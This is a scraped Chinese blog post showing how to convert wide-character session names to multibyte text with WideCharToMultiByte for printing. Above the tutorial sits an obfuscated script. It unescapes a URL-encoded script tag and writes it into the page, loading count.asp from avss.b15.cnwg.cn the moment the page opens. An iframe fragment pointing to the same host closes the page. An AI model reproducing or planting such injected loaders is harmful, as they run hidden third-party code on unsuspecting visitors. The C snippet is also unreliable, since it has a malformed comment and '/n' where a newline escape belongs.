HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
中文字符打印的api
今天使用结构体SESSION_INFO_1(结构体信息参考MSDN),在打印成员LPWSTR sesi1_cname的时候,遇到中文字符即显示乱码,我靠,又是编码的问题。最终无奈,向身边的研究生请教,得知一函数
int WideCharToMultiByte(
UINT
CodePage
,
// code page
DWORD
dwFlags
,
// performance and mapping flags
LPCWSTR
lpWideCharStr
,
// address of wide-character string
int
cchWideChar
,
// number of characters in string
LPSTR
lpMultiByteStr
,
// address of buffer for new string
int
cchMultiByte
,
// size of buffer
LPCSTR
lpDefaultChar
,
// address of default for unmappable
// characters
LPBOOL
lpUsedDefaultChar
// address of flag set when default
// char. used
);
详细参见MSDN。
iSize = WideCharToMultiByte(CP_ACP, //int iSize
0,
(LPCWSTR)siTemp->sesi1_username, /LPSESSION_INFO_1 siTemp;
-1,
NULL,
0,
NULL,
NULL);
strTemp = (char *)malloc(iSize + 1); //先获得长度,再申请接收字符串的大小
WideCharToMultiByte(CP_ACP,
0,
(LPCWSTR)siTemp->sesi1_username,
-1,
strTemp,
iSize,
NULL,
NULL);
printf("user name : %s/n",strTemp); //s这里为小写
Remarks:
MSDN上有很多的错误,比如这里的结构体LPSESSION_INFO_1,它的成员类型有很大的出入。在使用的时候只要将鼠标听在该结构体上,按
F12
就可以trace它的庐山真面目了,哈哈~~
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">